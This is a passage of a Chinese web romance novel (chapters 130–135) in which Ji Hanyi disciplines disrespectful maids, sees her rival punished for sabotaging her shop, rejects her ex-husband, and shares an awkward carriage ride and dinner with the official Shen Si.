顾氏又看着季含漪,眉眼担忧的看着她,又看着她身上的旧衣,也不知她今日去了哪儿,浅色的裙摆一角微微带了一些灰尘,浓密发上的那一根银钗看起来单薄素净,但她自小教养她的仪态还在,依旧笔直后背,在她面前不曾有过颓然。
顾氏不想说这些再引女儿担心,默默接过季含漪手上的汤碗,即便是当真不怎么吃得下,也尽力将一碗鸽子汤吃完了。
季含漪安抚着母亲中午午睡后才独自去用饭,桌上放着厨房送来的饭菜,两个菜和一个汤。
这些饭菜比起从前在谢府的饭食天差地别,素淡的过分。
按常理来说,顾家如今就算不怎么富裕,但吃些寻常的菜定然是吃的起的,可桌上的才两碟青菜,一碗清汤寡水的萝卜汤,又怎么吃。
况且前几日的菜也没这么清淡的。
季含漪什么也没说,因为她心里什么也明白。
容春却是忍不下,叫来送菜的婆子问,婆子也是从大夫人那儿拨来的人过来照顾的,本质也是大夫人的人,虽说恭敬,但答话自然是偏着大夫人那头:“容春姑娘也别气,大夫人如今也操心呢,就连我们下人的吃食都减了。”
容春憋了一口气,被季含漪拉住了袖子,叫她不必多说了。
那婆子看了季含漪,见她没多说什么,也就又退了下去。
用了膳,净了口,季含漪进回屋去坐在椅上看了容春脸上那欲言又止的神情。
她知晓她想说什么,她心里也有打算。
今日的饭菜忽的变得如此,厨房不会无缘无故这么做,不过针对惠兰院。
她心里明白,大舅母这是在用这样的法子赶她们走。
要是再没有眼色的留在这里,呆久了便是仇家了。
如今母亲身子突变,又需要静养不能赶路,但定然是不能留在这里的,她其实刚才在心里已经在打算出去租个宅院了。
不过最近事情多,万事一桩一桩来,不紧不慢的好好理一理。
她安慰了容春几句,说了自己的想法。
容春这回立马点头答应:“姑娘不说,奴婢也要提一提的,没得受气。”
季含漪笑了下,让容春去叫春菊来。
没一会儿春菊过来,季含漪问起春菊今日上午她走后,是谁在照顾母亲。
季含漪之所以这么问春菊,是因为季含漪觉得母亲不会无缘无故的就说刚才那些话。
她才刚哄好了母亲,母亲也当真觉得往后该好好坚强一些,为什么又忽然说那些丧气话。
这院子里除了春菊是母亲身边的人,其他人都是大舅母叫来的,季含漪心里隐隐有些猜测。
春菊听了季含漪问,就忙回话:“今日上午姑娘走后,我在忙着去厨房给夫人看着那鸽子汤。”
“那厨房的人欺软怕硬,姑娘虽是给了银子,但少不得她们要以次充好,或是偷偷藏些,要不就是里头的药材偷工减料,那时候夫人正睡着,我便让屋里的两个小丫头先在旁照看着。”
“等那厨房的鸽子汤在炖了,万事妥帖了,我又去看了煎的药才去看夫人,进去的时候夫人已经醒了,可当时夫人就好似有些不对,一直在低头落泪,任凭我怎么劝也没用。”
“后头夫人没哭了,就看着窗外失神,东西也不吃。”
季含漪听了这番话,心里头隐隐都已经明白,又叫春菊去叫那两个丫头进来。
很快那两个丫头便进来了,两个丫头年纪不大,十三四的模样,看起来也并没有什么规矩,站在主子跟前也是懒散的样子。
季含漪知晓,惠兰院的规矩一向不大,她母亲身子不好,一般不管院子里的事情,春菊其实也管不下大舅母送来的人。
这里是顾府,大夫人当家,春菊自己也是奴婢,要是管的严苛了,这几个丫头去大舅母那儿一告状,大夫人又得来发难。
这会儿两个丫头站在季含漪面前,即便看季含漪面上神色少见的冷清,也依旧不怕。
一个是个病秧子,一个才刚和离,再是没有什么前程造化可言的,她们又怕什么?况且在这院子里伺候病秧子辛苦不说,赏钱还没有几个。
她们从前可是在二爷屋子里伺候的,又是正正的好年纪,谁愿意伺候一个时不时出事的病秧子来,前天深更半夜都没好好睡。
季含漪看了眼两个丫头,也知晓她们心里在想什么,她坐的端正,年少时父亲为她请的教**嬷嬷都是经验丰富的老人,不仅学习如何管束下人,琴棋书画女红女艺也一样不差。
她在谢家三年,虽说没有管家,但也并不是从前的未出阁的姑娘了。
季含漪将手上的茶盏往旁边一放,清脆的声音响起,只淡淡说了两个字:“跪下。”
不轻不重的声音缓缓铺开,却是带着股力道的,两个丫头脸上才从刚才的漫不经心变得稍微有一丝慌。
她们怎么也没想到,季含漪会无缘无故的朝她们发难。
一个丫头不服气的问:"姑娘即便是主子,但主子要奴婢跪下,总得有理由是不是?"
季含漪冷笑一声,淡了眼眸看向她:“你还知道你是奴婢。”
“今日上午你们在我母亲面前不仅口无遮拦还敢怠慢,身为奴婢,连自己本分都不知晓了?”
那丫头脸上一白,当时她们在屋子里是说了些夫人的坏话,毕竟日日在跟前伺候,一个偷懒都不行,心里不舒坦,说了些话。
但那会
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儿屋子里只她们两个,夫人又睡了,表姑娘怎么知晓的。
季含漪又冷笑一声:"你们的身契虽没在我这里,但大舅母既叫你们来这里伺候,我就能处置了你们。"
说着季含漪看向容春:“去将管家叫来,这两个丫头今日言行无状,口无遮拦冲撞诅咒主子,问管家该怎么处置。”
容春看了那两个丫头一眼,心里舒坦,赶紧就去了。
两个丫头这才开始慌了,她们知晓自己的确说那些冲撞的话,还咒了夫人早点**,要是真**,她们也能回二爷屋里伺候了。
这话往大里头说,就是打死也可能,想来定然是被外间的春菊听到往表姑娘这里告了状,顿时赶紧跪在地上求饶。
季含漪看两个丫头脸色惨白,知晓自己是诈对了,脸上带了些严肃,低头冷着眼眸看过去,声音又冷了两分:“你们还在屋里说了什么?如实的说,欺上瞒下的奴才,府里也是留不得的。”
“你们若是干撒谎,我便去请示了外祖母和大舅母,怎么着也得将你们发卖出去。”
这话彻底吓坏了两个丫头,不敢说一句谎话,连忙都一股脑儿说了。
此刻往日在她们眼里温和柔软的表姑娘,这时候就如阎王爷那般。
季含漪听着跪在地上那两个丫头的话,听完后不由得倒吸口凉气。
难怪母亲的情绪会忽然变化,任是谁听了那些话,心里也不好受。
她母亲性情温善,没提这件事,也没惩治丫头,可季含漪不能再容了。
要是母亲日日听丫头这些话,本就容易多想的性子,万一哪一天再想不开又怎么办。
更何况母亲本就是思虑过重积郁成疾,这也是季含漪这回要过问这事的原因。
管家很快过来,听了季含漪的话,又看了看地上的丫头,也是倒抽口气,无法无天了。
季含漪母亲怎么着都还是老太太最喜欢的女儿,被丫头这般骂和诅咒,那还得了。
但如今大夫人当家,从前又是大夫人屋子里的丫头,管家也不敢轻易做主,就对着季含漪低声商量道:“姑娘放心,这两个丫头我先带走,重新再换两个丫头来伺候,至于怎么惩治,还要过问了大夫人才是。”
季含漪本也无心关心怎么惩治,她要的只是母亲身边再不能留下这两个丫头了。
管家带走两个丫头后,春菊忍不住道:“姑娘不该这么饶了她们的,要奴婢说,便是掌嘴一百下都不解恨。”
“即便说去老太太那里,老太太杖毙了她们都有可能。”
季含漪顿了顿,又缓缓的靠在椅背上撑着额头出神。
若这两个丫头是她的人,她定然不会这么过去,但这两个丫头是大舅母的人,大舅母本就不待见她与母亲,她的目的也已经达到了,便不会让这件事复杂下去。
再有,她现在打算的是出去租个宅院,清清静静的,母亲才好养身子,也没必要再生什么事端来。
有些疲倦的缓缓吐出一口气,前门口却又来了人,容春赶紧出去,出去后回来便拿着满满一匣子的药包。
第131章 谢玉恒,你当真无耻啊
容春是一脸高兴的抱着药包进来的。
她看向季含漪,将手里用线绑好的药包往季含漪的面前送过去:“姑娘您看,足足而三十副药!”
季含漪微微坐直了身问:“谁送来的?”
容春便笑道:"是前天那位陈太医。"
“那位陈太医说受了顾府的帮忙,便送来这二十副药来感激呢。”
说完容春又算起账来:“上回陈太医那药方,按着上头的药材去拿药,又是人参片,又是**,杜仲,一副就是两多的银子,一日两回,一天就是七两银子,一个月就是两百多两,这这么大的开销,哪里能承受的起。”
“现在那太医送了三十副来,就是半个月的药,这可是天大的好事。"
季含漪看着容春手上的药,她知晓陈太医开的那个药方里头的药材格外珍贵,寻常人根本吃不起,但那天她还是咬咬牙用了陈太医的药方。
只是一副药就这么贵重,即便是三十副药包,也是上百两的银子了。
陈太医来给她母亲看诊已经是她得了恩惠,这些药包又怎么能无缘无故的要,这银子定然是要还的。
只是她不知晓陈太医的住所,即便现在想还还不知晓该怎么还回去,便让容春先将药包拿去放好。
容春诶了一声,高高兴兴的去了。
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第二日早上的时候,季含漪就收到了明掌柜的信。
信上说他昨天下午就被兵马司的人叫了去,还是南城兵马司指挥使亲自审理的这件案子,将那两个无赖贼人也捉了去,在刑讯下很快就招供了,幕后指使的人是个女子,但是只知道是谢家的人,却不知晓到底是谁。
因着去找他们的女子脸上蒙着纱巾,给了一笔大银子,没让他们认出来。
但那两个人知晓做这种缺德事,万一被逮住了就不是小事了,所以也留了个心眼,虽然是接了活,但却在后头偷偷跟着那女子,一直看到那女子回到了谢府,心里也有了底。
冤有头债有主,只要到时候真被抓到了别找他们就是。
季含漪光是看到这个谢家,就知道这件事是谁做的了。
信纸的最后,明掌柜说兵马司指挥使说这件案子牵扯进了谢家,便不是小案了,需要呈到都察院去定夺怎么查,要写一份诉状送到都察院去,批准了才能去谢家查。
季含漪自然是不想让这件事就这么过去的,这会儿就让容春赶紧去准备笔墨,她要再次写诉状。
季含漪这回写的很快,写了两回了,早已经熟门熟路,满满当当写了两页的纸。
写到最后,季含漪又忽的顿住。
兵马司重新审理这件案子,定然是沈长龄与沈肆说了这件事,那沈肆应该也知晓了么。
那这封诉状他会不会看见。
握在笔上的手指微微握紧,季含漪叫自己别多想,继续落笔。
诉状很快写好,她为早早了了这一桩事情,又叫容春叫前门的赶紧送到明掌柜那里,让明掌柜送去都察院。
只是让季含漪没有想到的是,她原以为查案也要好几日的,却没想到第二日晚上就来了消息。
李眀柔被抓进了兵马司。
季含漪对幕后的人是李眀柔这个结果并不意外。
也对都察院的效率当真惊叹。
季含漪到兵马司门口的时候,她坐在马车上,轻轻掀开帘子,一眼就看到李眀柔被身边的两个丫头拖着从兵马司出来。
李眀柔身上的衣裳上沾满了血迹,脸色惨白,双腿几乎无力,全是靠着丫头扶着才能往前,显然是受了刑的。
而谢玉恒陪同在一旁,却是眼神失神,没有去扶着李眀柔,而是身形微踉跄,不知他在想什么。
季含漪来这里一趟,自然不是为了亲眼看李眀柔如何下场的,是兵马司的差役来给了她信,让她去一趟。
这件事本是全权交由明掌柜处置的,季含漪其实也是不知晓为何会叫自己去。
又想着大抵因为铺子还是她的。
她未多看谢玉恒和李眀柔一眼,李眀柔总要为自己做过的事情付出代价,她也不能每一
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次都在谢玉恒的袒护下安然无恙。
她那些手段或许可以在宅院里被谢玉恒护着,一直无虞,但在宅院外面,谢玉恒其实并不算得什么,京城内比谢家势大的多的是。
可惜李明柔太一帆风顺的,总是有些觉得所有事情都该是顺畅无阻的。
她没多看,谢玉恒也不值得她多看一眼,只是正要放下帘子的那一刻,谢玉恒不知怎么看到了她,忽然往他这头冲了过来。
季含漪皱眉,叫容春快下马车挡着谢玉恒。
只是容春的力气到底小,被谢玉恒推开到一边,紧接着她身边的小窗帘子被谢玉恒大力的掀开,露出谢玉恒那张布满血丝的眼睛。
外头响起容春惊慌的声音,季含漪低声道:“容春,无妨,这里是兵马司门前,他不敢如何。”
季含漪说这句话的时候看着谢玉恒的眼睛,神情很宁静,对他没有多余的情绪。
外头的容春听到季含漪的话,这才反应过来,松了口气。
也是,再怎么也不敢再兵马司门口**的吧。
谢玉恒死死看着季含漪的脸庞,浑身在颤。
马车顶的琉璃光线落到季含漪身上,映在她那身浅绿色的立领衣裳上,上头的白色兰草花样静静流淌,一如她现在的神情,安静却又冷漠,那个他记忆里永远柔软又温润的人,有一天他竟会觉得她冷漠。
那双映照着烛火的杏眸,熠熠生辉,脸庞如深秋。
他指尖捏紧了帘子,张张唇,声音沙哑:“明柔做错了事情,你明明可以私下与我说的,那些损失我也可以赔偿给你,你何必用这样的方式。”
季含漪细眉微蹙,眼眸流转,看向谢玉恒身后不远处那双带着怨恨朝她看来的眼睛。
她视线又回到谢玉恒脸上,淡声:“然后在谢大人的纵容下,让她再对我做这些事情?”
说着季含漪讽刺的看着谢玉恒:“李眀柔为什么会知晓我铺子在哪里,她还知晓我哪间铺子经营的好些。”
“谢玉恒,你当真无耻啊。”
第132章 沈肆的私心,想见她
看着季含漪讽刺的眼眸,谢玉恒的脸色一瞬间白了白,浑身都冒起股被那双眼睛看透的羞耻,让他浑身一僵。
的确是他说与李眀柔的,他更知晓李眀柔做了这样的事情。
但是他没有阻止,他甚至在期待季含漪回头求她的模样。
季含漪唯一可依靠的铺子毁了,她最后的一丝倚仗也没了,她唯有回到他的身边,她才能重新过上从前安稳富足的日子。
只是他没想到,季含漪居然会选择这样的方式,她至始至终都没有来找过他。
他第一次在季含漪的面前觉得自己卑劣不堪,又升腾起一股被看穿的羞辱来。
她的那一句无耻,将他在她面前的所有的冷清与端方击溃,他以为她该是永远追逐他,仰慕他的。
他还记得她曾经看他的眼神,带着敬慕,带着妻子对夫君的敬重。
现在她说,他无耻。
而他如被撕去遮羞布那般赤裸苍白的辩驳:“我不是如你想的那般,我也没想过明柔会这么做。”
季含漪只是冷淡的看着谢玉恒,不发一言。
谢玉恒看着季含漪的眼神,身上微晃了晃,又哑声开口:“含漪,你变了。”
季含漪点点头,声音依旧很淡:“因为我终于离开谢家了,因为我终于离开你了,从前我试着做好一个贤妇,但你并不值得。”
“如今我变为了我,我也希望往后谢大人再不要与我有什么瓜葛。”
“也不要再如今日一样来唐突我,往后遇见便作不识就好。”
谢玉恒眼中的红丝愈多:“你就这么恨我?”
季含漪点头:“所以别再出现在我面前,叫我恶心。”
谢玉恒颤了颤,他红了眼眶道:“含漪,我从前的确对不住你,但我知晓你现在过得也定然不好,你铺子也出了事,只要你回来,我补偿给你。”
季含漪蹙眉:“谢大人,我并不需要。”
谢玉恒愣了愣,忽的朝季含漪伸出手:“含漪,我不信……”
“含漪,你一定还是在意我的……”
季含漪也没想到谢玉恒会忽然发疯,她身子往后倾,正想叫容春去叫兵马司的差役来,就看到谢玉恒还未伸进帘子里的手,忽然被一只修长有力的大手握住了手腕,只听得细微的咔嚓声,谢玉恒惨叫一声,冷汗淋淋的躬起了身。
又在那只手松开的一瞬间,跌倒在了地上。
帘子随着谢玉恒的倒地重新落下来,季含漪的心跳的很快,她重新坐直了身去掀开帘子,就看到沈肆站在马车边,两名兵马司番役过来,架着地上的谢玉恒扔去了一边。
夜里的火光忽明忽暗,照在沈肆那身玄色衣裳上,矜贵冷疏,他生的高大颀长,身量比寻常男子还要高许多,她坐在马车中,更需得仰头看他,更映着他脸庞上的那一丝威严。
再次见到沈肆,她指尖不由的轻轻一捏紧。
她也不知晓为什么,或许心里对他感激又带着忐忑的心情,还有那次在皇宫内两人最后一次见面,好似也并不愉快。
她愣神的看着他,直到沈肆微微偏头,低沉的目光落到她的脸上。
季含漪顿时如正犯错被正好抓到现行那般,心里一慌,赶紧松了帘子。
帘子落下来,挡住外头火光,昏昏暗暗里,季含漪捏着绣帕放在胸口上,好似这便能叫她安定一般。
只是下一刻,帘子被掀开,沈肆弯腰看了过来。
那一双寒潭似的深黑眸子正往她看来,沉寂的眼神,连让他身后的火光都带了一丝冷寂。
那样的眼神好似不同以往,但季含漪看不懂。
季含漪撑在坐垫上,张口还未说话,帘子就已经落了下去,仿佛刚才沈肆只是为了掀开看她一眼好不好。
她重新在暗色中失神,过了不久,外头又响起文安的声音:“季姑娘,先跟着大人去司里吧。”
季含漪这才又倾身去掀前面的轿帘。
她下马车的时候,谢玉恒已经没有在外头了,季含漪也不会在意他,她现在的眼神看在沈肆修长的背影上。
他似与夜色融为一体,满身冷清不易靠近,在她眼前渐行渐远。
文安等在季含漪身边的,
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见着季含漪看着侯爷的背影,他笑着小声道:“季姑娘,跟着侯爷走吧。”
季含漪拢了拢帷帽上的白纱,才跟在沈肆的脚步后面。
文安走在最后,看着侯爷因着季姑娘追上去后明显放慢的步子,还是忍不住笑,又拉着旁边快步要跟上去的容春板起了脸:“你跟上去做什么?”
容春一懵:"我一直跟着姑娘,为什么不能跟上去。
文安便冷着脸道:“我家侯爷与你就家姑娘说这件案子的公事,再有兵马司是要紧的地方,你当想进就进?”
这话吓着了容春,她看着兵马司门前那拿着武器的差役,个个人高马大骇人的很,她也从没来过这种地方,便问:“那我怎么办?”
文安就道:"你就在外头等着。"
容春便看着文安问:“那你呢?”
文安看了容春一眼:“你说呢?”
说完这话,文安让人安顿容春去门房内坐坐,自己则跟着进了大门。
容春瞪大了眼。
这头季含漪跟着沈肆进了兵马司内的内堂,屋内空无一人,静悄悄的,季含漪往身后看一眼,容春也没有跟来。
与沈肆单独呆在一起也不是没有过,还是总有一丝紧张。
沈肆转身看着季含漪,她站在门前不远的位置,远远的离着他。
他自己更知晓自己有私心,这样不值一提的小案,远不需要他来,更不需要她往这里走一趟。
但他还是借口让她过来了一趟。
他没有见她的理由,甚至他自己心里明白她或许并不想见他,可他还是这样做了。
他站在桌边,看着她清秀的身形,低低的开口:“这里需要你画押。”
季含漪蓦的听到沈肆的声音,这才忙走过去,看向静静放在桌面上的状书。
她是第一次来兵马司,也不知晓如何流程,沈肆这般说她也连忙照做,不敢耽误。
将帷帽解下来放在一边,沈肆就站在她身边很近的地方,不过一步的距离,季含漪忍着紧张,低头看向沈肆手指正指着的地方,又去找印泥画押。
第133章 跌进沈肆怀里
季含漪身上靠近过来的软软馨香扑来,沈肆垂眸,一寸寸看着季含漪低垂的纤长颈脖,看着她肤如白雪的侧脸和那白净的耳垂。
那耳垂上依旧没有佩戴耳坠,素素静静的,却叫人浮想联翩。
他曾不止一次的想过她坠上自己送给她的那副耳坠的模样,那是她也心悦他的模样。
每每那般想的时候,浑身甚至有股无法控制的热涌,特别是在夜深人静时,那是身体对她本能的反应。
此刻她就站在自己身边,两人很难这般近的呆在一起过。
他落在身侧的手指动了动,轻轻的上抬,抚过她坠在桌下的绿色袖口,如他从来看她那般,在暗处中不动声色,她永远也察觉不到。
季含漪此刻有点着急,因为沈肆叫她来画押,可是她目光找遍了桌上,都没有看见。
她不想叫沈肆觉得自己是多事的,生生找了两遍也未找到后,才不得已的硬着头皮抬头看向沈肆:“沈大人,没印泥……”
沈肆对上季含漪的眸子,他瞧着她好似羞窘的神态,湛亮的眸子格外漂亮,还有那软软的声音,浑身都透着股柔软的娇气来。
靠近她就想要拥着她。
沈肆往桌下伸手,拿出印泥来,却没有放到桌上,只是将它放到掌心,又送到季含漪的面前。
季含漪看着沈肆掌心上的东西愣了愣,又抬头看沈肆目光正看着她,他不说话,她也不敢多问,手上颤了下,食指往上头沾了沾,又去画押。
状纸上清晰落了指印,季含漪松了口气,又抬头问:“还要做什么么?”
沈肆从旁拿出一个盒子,递到季含漪的面前:“李眀柔赔偿的银子,你点点。”
季含漪忙接过来打开,看着里头白花花的银子,心里头小小高兴了一回,又将匣子放在桌上仔细的清点。
银子自然是不能少的,李眀柔少赔她半点都不行。
季含漪清点的很细致,丝毫没有察觉到沈肆看在她身上的目光。
沈肆也是难得看到季含漪抱着银子数的这么认真的时候,那眼眸看起来格外的专注,细细萤火在她眸中闪烁,本就是生的细腻精致的人,唇红齿白,樱唇雪肤,看起来有两分的不谙世事,却这般贪念银钱。
唇边不自觉的含了一抹笑意,又缓缓开口:“她受了杖刑,三十杖,赔了你三倍的银子才能离开。”
“满意么?”
季含漪正清点完,足足八百两,远远超过了她的损失,她对这个结果相当满意。
这八百两不是小数目了,都够买下她的铺子了,季含漪听了沈肆的话,赶紧抬头感激的看向沈肆:“沈大人,谢谢你。”
说着她眉眼微弯的笑:“沈大人,我真的满意极了。”
沈肆看的顿了瞬,眼中倒映出她眉眼,那眼里的感激真挚,他向来凉薄的眸子里也不由暖了暖。
他仅仅只是淡淡唔了一声,又问:“用饭了么?”
这时候天黑不久,季含漪赶过来,的确还没用晚膳的。
她摇头:“还没。”
沈肆看着她:“我也没有。”
季含漪脑中一空,想沈肆忽然说这话又是什么意思。
心念一转,她忽的反应过来,赶紧道:“我请沈大人去酒楼吃吧,当我对沈大人的感激。”
沈肆视线扫过季含漪那紧紧抱着钱匣的动作,像是护食一般,扯了扯唇角,又淡淡点点头,先转身走了出去。
季含漪看着沈肆的背影,也早习惯他这般冷淡,忙又跟在他身后。
只是季含漪以为她必然要小跑才能追的上的人,却在门口处等着她。
两人一前一后,沈肆的步子也并不快,季含漪亦步亦趋跟着他,一直走到了外头,沈肆顿住了步子问她:“去哪儿?”
季含漪真为难了下,她许久不曾去酒楼了,也不知晓如今哪家酒楼合沈肆的心意。
再有沈肆这样的身份出身,寻常酒楼她也不能请他去的。
可请客的人问客人去哪儿,好似又不合道理,季含漪便道:“就在城南那条大街上。”
沈肆点点头,却在季含漪瞪大眼睛的惊诧中,自然而然的上了她坐的马车。
季含漪愣在外头只觉得自己看错了,容春也惊悚的呆愣住
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堂堂二品左都御史,平日出行都是好些护卫护在马车外的,居然会坐她那辆在他眼里应该堪称简陋的马车。
季含漪正愣神,又见马车侧边帘子被沈肆掀开,冷淡的声音传来:“还不上来?”
季含漪被沈肆这一句话说的不自觉的忙听话上了马车。
马车内定然是不如沈肆的马车那般宽敞的,沈肆身量又高,长腿长脚,占了半个马车。
季含漪往角落处坐,坐的规规矩矩的,生怕在这狭窄的马车里与沈肆生出什么尴尬的事情来。
容春站在马车外讷讷,那她怎么办。
文安偏这时候走了过来,叫她要会看眼色,跟他一起在马车外头跟着。
寻常来说,丫头跟在马车外头也寻常,但容春跟在季含漪身边从未这般被对待过,但这会儿她显然不适合上马车,也算接受了。
马车内的季含漪正襟危坐,很不自在。
但沈肆好似并没有。
他靠在身后,长腿舒展,闭着眼睛,好似有些疲惫。
马车内格外的静,除了车轮声。
只是在这昏暗的静谧里,沈肆微微抬了抬眼皮,眼角的余光落到季含漪身上,她一直低着头,如是学堂里最听话的学生那般,连呼吸都是谨慎的。
他视线又落到她身上那身淡绿色衣裳上,裙摆随着马车晃动,时不时往他衣摆上撞过去,带去一丝隐晦的暧昧。
轻轻的,软软的,又在心间留下最浓重的痕迹。
季含漪全没察觉到沈肆的目光,她还在心里想待会儿请沈肆去哪家酒楼。
她今日出来的时候,身上没带多余的银子,这会儿就李眀柔赔给她的这些,也不知道待会儿够不够。
京中上好的酒楼,上千两也是很容易的事情。
掀开身边的帘子往外头看,见着到了南大街的时候,季含漪深深松了口气,想着总算要到了。
与沈肆这般近的同坐一辆马车,季含漪很是紧张。
只是也没等她彻底松懈下来,马车忽的急停,季含漪猝不及防身子一歪,紧接着就落到一个温热的怀抱里。
第134章 他性感的喉结
季含漪初初落到那个怀抱的时候还没有反应过来。
她只觉得掌心处碰到软滑又温热的东西,眼前一片黑,直到马车外头响起文安问候的声音:“前头来了辆马车,停急了,爷,没事吧。”
沈肆低沉的声音响起:“无事。”
季含漪贴在沈肆身上的身子感受到沈肆因说话而微微颤动的胸膛,他身上带着满是文书笔墨的沉香味传来,季含漪才后知后觉的看着面前玄色衣裳上的暗纹,又抬头对上沈肆也低头往她看来的眼睛。
沈肆的眼神很平静,并没有因为季含漪忽然扑进他怀里有什么反应,季含漪看着这冷淡的眼神,这一刻羞愧极了,慌慌张张的就要从沈肆的身上起来。
只是越急好似就越容易出错,她撑在沈肆胸膛上的手又没撑住滑了,整个人再次扑在了沈肆的怀里,脸庞还直接压在了沈肆的肩膀上,视线离他颈脖只有一寸,目光处是他性感的喉结。
脸颊腾的一下爬满热意,季含漪又慌忙的要从他身上起来。
或许是她凌乱动作里压到了沈肆哪里,耳边传来沈肆低低闷哼的一声,季含漪便浑身僵了僵,不敢动了,结结巴巴的开口:“我……我不是故意的……”。
怀里的身子带着馨香的软,她软软开口的时候,呼吸往他脖子里钻,沈肆深吸一口气,看着她通红的耳廓,抬手落在季含漪后背上,声音放的温和:“无妨,先别动。”
怀里的人很听话,不仅没动,连呼吸都屏了。
沈肆托着季含漪的身子微微坐直,又握着她的腰身让她先站起来。
此刻的季含漪,恨不得此刻能找一个地缝长长久久的钻进去,眼神也根本不看看沈肆的眼睛,只想沈肆别误会了她,她当真不是故意往他身上靠过去的。
只是仓皇的解释又好似无力,她泄气的垂着肩膀,满身窘迫。
沈肆看了季含漪一眼,暗暗烛火中,她脸颊上那一团晕红分外的诱人羞涩,他定定看了她两眼,心里已经涌起波澜波涛,喉间发紧。
面上却一片平静的开口:“先下去吧。”
季含漪被沈肆这一提醒,又才察觉该下马车了,忙又赶紧理了理身上的衣裳飞快的下了马车。
沈肆看着那翻动的帘子,那里好似还有季含漪那仓皇而逃的背影。
他垂眼站起身来。
下了马车的季含漪,被早春凉凉的微风一吹,脸上那股燥热消退了些。
又庆幸起自己戴了帷帽,好歹能够遮挡住一些窘迫,又想起今晚的正事,赶紧去找酒楼。
得味居从前她与父亲来过的,只是里头的菜品并不便宜,一个包厢都是五十两银子,再上好菜的话,少说几百两了。
但又想沈肆这般身份,他去过的地方只会更过之不及,他肯赏脸已经是不容易了,破费便破费些,总之李眀柔泼粪的事情,那口气是出了。
从马车上下来的沈肆站在了身边,高大的身躯只是站在旁边,就觉得股压迫。
季含漪深吸了好几口气,这才硬着头皮与沈肆说去对面的得味居去,又小声道:“要是沈大人不习惯那里的菜式,我们还可以去别家的。”
沈肆低头,夜风吹拂,她帷帽上的白纱翩动,划过他袖上,犹如是素净的画卷。
视线又越过她落到她身后的人流里,有男子与女子同走在一起,就如他此刻与季含漪这般。
他眉色缓了缓:“你安排便是。”
季含漪觉得这一刻的沈肆,好似又如给表哥买砚台那回他脸上温和的神情了,看起来也不是那般高高在上和冷淡了。
她本紧张的心,又寸寸松懈,轻轻点头。
两人正要一同往对面去的时候,这时候又忽听见一道欣喜的声音:“五叔。”
季含漪闻声看过去,竟见是沈长龄往这头走过来。
沈长龄一身蓝色圆领衣,
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做寻常装扮,似是走近后才看见了季含漪,脸上神色亮了一下,少年步子轻快,不过几个大步就走到了季含漪的面前:“漪妹……”
说到一半,沈长龄感受到五叔淡淡一个看过来的视线,陡然一个激灵,赶紧又换了称呼:“季姑娘,你怎么与我五叔在这里?”
季含漪心里还是感激沈长龄的,要不是他为自己在沈肆那里提了,这件事也不会这么快,她便说了经过,又对沈长龄说了声谢谢。
沈长龄听到季含漪的道谢,倒有些不好意思起来。
其实他也没帮到季含漪什么,还是要靠他五叔发话,不过能在季含漪这里讨一个欢心,他心里还是很高兴,道:“帮季姑娘是我应该的。”
只是说完这句话的时候,他却又觉得身上微微的一凉,小心往五叔那头看去,就见着五叔站在季含漪身边,那双冷淡的眼眸淡淡的看着他,总让他觉得心里发毛。
又听季含漪邀他一起去对面的得味居去,沈长龄想也不想的就一口答应下来。
只是才答应,就被五叔冷冷淡淡的看了一眼:“你怎么在这。”
沈长龄在五叔面前不敢有一丝嬉皮笑脸,也收敛了看到季含漪时的笑意,规规整整的站着回话:“刚才与几个好友在那儿吃酒,见着了五叔就过来了。”
沈肆又看了沈长龄一眼,冷笑了声,抿唇未说话,先往前走。
沈长龄巴不得五叔走在前头,有他在旁边站着,好似说什么话都要拘着。
季含漪见着沈肆走了,忙也跟上,沈长龄走在她身边笑吟吟道:“我就说这事不难的。”
“往后你再遇着了什么难处,尽来找我便是。”
说着沈长龄往身上摸了摸,没摸着什么东西,就又扯了腰上的玉佩下来递到季含漪手上:“要是万分要紧的事情,你送信的时候连着这玉送,我即便没在府里,我的人也会给我送到军营去。”
第135章 他不喜欢她身边有其他男子
季含漪初初看到沈长龄递过来的玉佩时不由的愣了愣,那是块环形双鱼佩,看着是好玉像是随身佩戴的,随即便连忙推拒了。
沈长龄这随身的玉佩她定然是不能要的,两人之间不过几面,这等显得亲近的东西,要是真拿了被人看见了,就怕出什么闲话。
沈长龄却执意递过去:“又不是什么值钱东西,我的佩子多的是,我听我母亲说你和离了,你现在定然有许多难处,你拿着就是,万一你真有用上的那一回呢。"
“我小时候欺负过你,如今你就当我给你的赔罪就是。”
季含漪是感激沈长龄的这份心的,小时候的那件事,如今这么多年过去,她早就不计较了。
她依旧摇头,还没开口再拒绝,又见一只手忽然横在了两人之间,修长的手指直接将沈长龄的那块玉佩拿了过来。
两个人都是一愣,看向了站在前面的沈肆。
沈肆脸上依旧是那一派冷清,只是现下眸子凉凉的看着沈长龄:“脑子呢,私相授受都不懂?”
沈长龄莫名又挨了五叔一句训斥,却不敢反驳。
他平日里除了府里的姑娘,其余时间都在军营里也没接触过什么女子,就算他有帮狐朋**,但叫来助兴的那些女子都是贱籍,他更未想过要亲近讨好,对季含漪便是巴心巴肠的想到什么说什么,其他的全没考量过。
现在被五叔这么一训,心下一凉反应过来,赶紧又给季含漪赔罪。
季含漪觉得沈长龄心思简单,半点没有计较,至少她觉得与沈长龄说话是没有弯绕,需要去猜测他心思的。
季含漪也情不自禁侧头看向沈肆,为沈长龄求情了一句。
沈肆抿着唇静静看了季含漪一眼,默然将手上的玉佩扔回到沈长龄的手上,转身一言不发。
季含漪也被沈肆脸上陡然冷下来的脸色吓到,沈长龄显然也是,他偷偷朝着季含漪小声说了句别怕,两人跟在后头却再也不敢多话,跟着一起上了酒楼。
虽说是季含漪做东请客,却是文安一直在前头打点,一路上到了雅间,文安松口气退出来的时候还不忘往沈长龄身上看一眼。
见着沈长龄与季含漪坐在一边,暗想着三爷怎么就这么缺心眼儿呢,
座位上,因着沈肆那张凉凉的冷脸,三人谁也没说话,连一向话多的沈长龄都难得安静了下来。
季含漪更是难受的很,因为沈肆就坐在她对面,因着刚才马车上的那一回,压力比旁边的沈长龄还大。
菜品很快上齐,菜是文安点的,只是叫季含漪好奇的是,桌上的菜好几道都是自己曾经爱吃的。
她不由偷偷往沈肆身上看一眼,她刚才是叫文安按着沈肆的口味点的,难道沈肆的口味与自己一样么。
季含漪很快打住这个想法,那定然是不可能的,他那么讲究,稍甜,稍咸,稍酸,稍辣的都不吃,挑嘴的厉害,听说沈府都是单独给沈肆一个人一个厨房,还常常人仰马翻的。
等菜上齐了,沈肆不动筷,季含漪和沈长龄也不敢动。
沈肆身上那股矜贵和仪态,光是坐在那处,就已经叫人心生拘谨了。
